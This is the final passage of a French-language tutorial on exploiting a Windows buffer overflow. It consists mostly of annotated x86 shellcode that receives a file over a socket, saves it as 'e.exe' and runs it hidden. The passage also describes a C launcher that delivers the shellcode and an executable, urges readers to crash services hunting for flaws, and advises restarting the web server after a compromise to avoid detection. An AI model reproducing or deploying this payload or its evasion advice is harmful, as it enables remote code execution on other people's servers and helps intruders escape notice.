 mov eax,not 32000
 not eax
 push eax                 ; push la taille du buffer
 push [esi-28]            ; push adresse du buffer
 push [esi-24]            ; push accept socket
 call dword ptr [ebp+48]  ; call recv(sockc,buffer,32000)
 xor ecx,ecx
 cmp eax,ecx
 je short 2                ; 0 octets lus, on stop
 not ecx
 cmp eax,ecx
 je short 2                ; erreur de recv, on stop

 push eax
 push [esi-28]                  ; adresse du buffer
 push [esi-32]                  ; handle du fichier
 call dword ptr [ebp+24]        ; _lwrite
 jmp short 1

2:

 push [esi-32]                 ;handle du fichier
 call dword ptr [ebp+28]        ;_lclose

 xor ebx,ebx
 push ebx                       ; le flag SW_HIDE permet de cacher la fenêtre de l'executable

 mov eax,not 00CE15BBh         ; chaîne "e.exe"+0
 not eax
 push eax                      ; adresse du nom du fichier premier argument de WinExec

 call dword ptr [ebp+16]       ; WinExec

 push [esi-24]                 ; socket client acceptée
 call dword ptr [ebp+52]       ; closesocket

 push [esi-20]                 ; socket serveur
 call dword ptr [ebp+52]       ; closesocket

 call dword ptr [ebp+12]       ; GetCurrentProcess()
 xor ebx,ebx
 push ebx                      ; push NULL
 push eax                      ; push la valeur retournée par GetCurrentProcess
 call dword ptr [ebp+8]        ; TerminateProcess(Handle_process)

Ouf. Nous voilà au bout de nos peines ! Vous compilez ça avec Tasm, Nasm ou Masm, ce qui vous plait le mieux, et voila.

Conclusion

Voila, c'est terminé pour cet exploit. Je tiens à remercier énormément _rix pour m'avoir initié au monde merveilleux des buffer overflow, qui peuvent être considérés comme l'essence du hacking (mais si !).  J'espère que j'ai été assez clair. J'ai joint un "lanceur" pour cet exploit, il est codé en C, il se connecte sur le port 80, envoi le shellcode, se connecte sur le port 53 et envoi un fichier local executable. C'est automatique, pour les faignants comme moi et quelqu'un que je ne citerai pas, il se reconnaîtra (pour peu qu'il me lise bien sur). La prochaîne fois, c'est promis, on s'attaque à un exploit Linux (shellcode plus simple), ou alors un autre buffer overflow win32, mais on utilisera les fonctions de Wininet pour que le prog aille lui même chercher le fichier sur le Web et l'execute tout seul comme un grand. Enfin, ce sera pour une autre fois ;)))
En tout cas, ne vous arrêtez pas de chercher des failles ! Coller des énormes chaînes de 'AAAAA' partout comme des fous ! Plantez tout ! Hesitez pas à me faire par de vos trouvailles en me mailant. Ou vous me choppez sur IRC undernet.
Bon aller je vous laisse à vos occupations, je vous ai assez emmerdé avec mes buffer overflow :))

(N.B :Au fait, une fois que vous avez un shell admin ou le contrôle du serveur, la première chose à faire c'est de redémarrer le serveur web, pour pas que ce soit trop flag quoi  :) la syntaxe c'est "net start https-NOM_DE_LA_MACHINE"
Voila, merci de m'avoir lu, et à bientôt !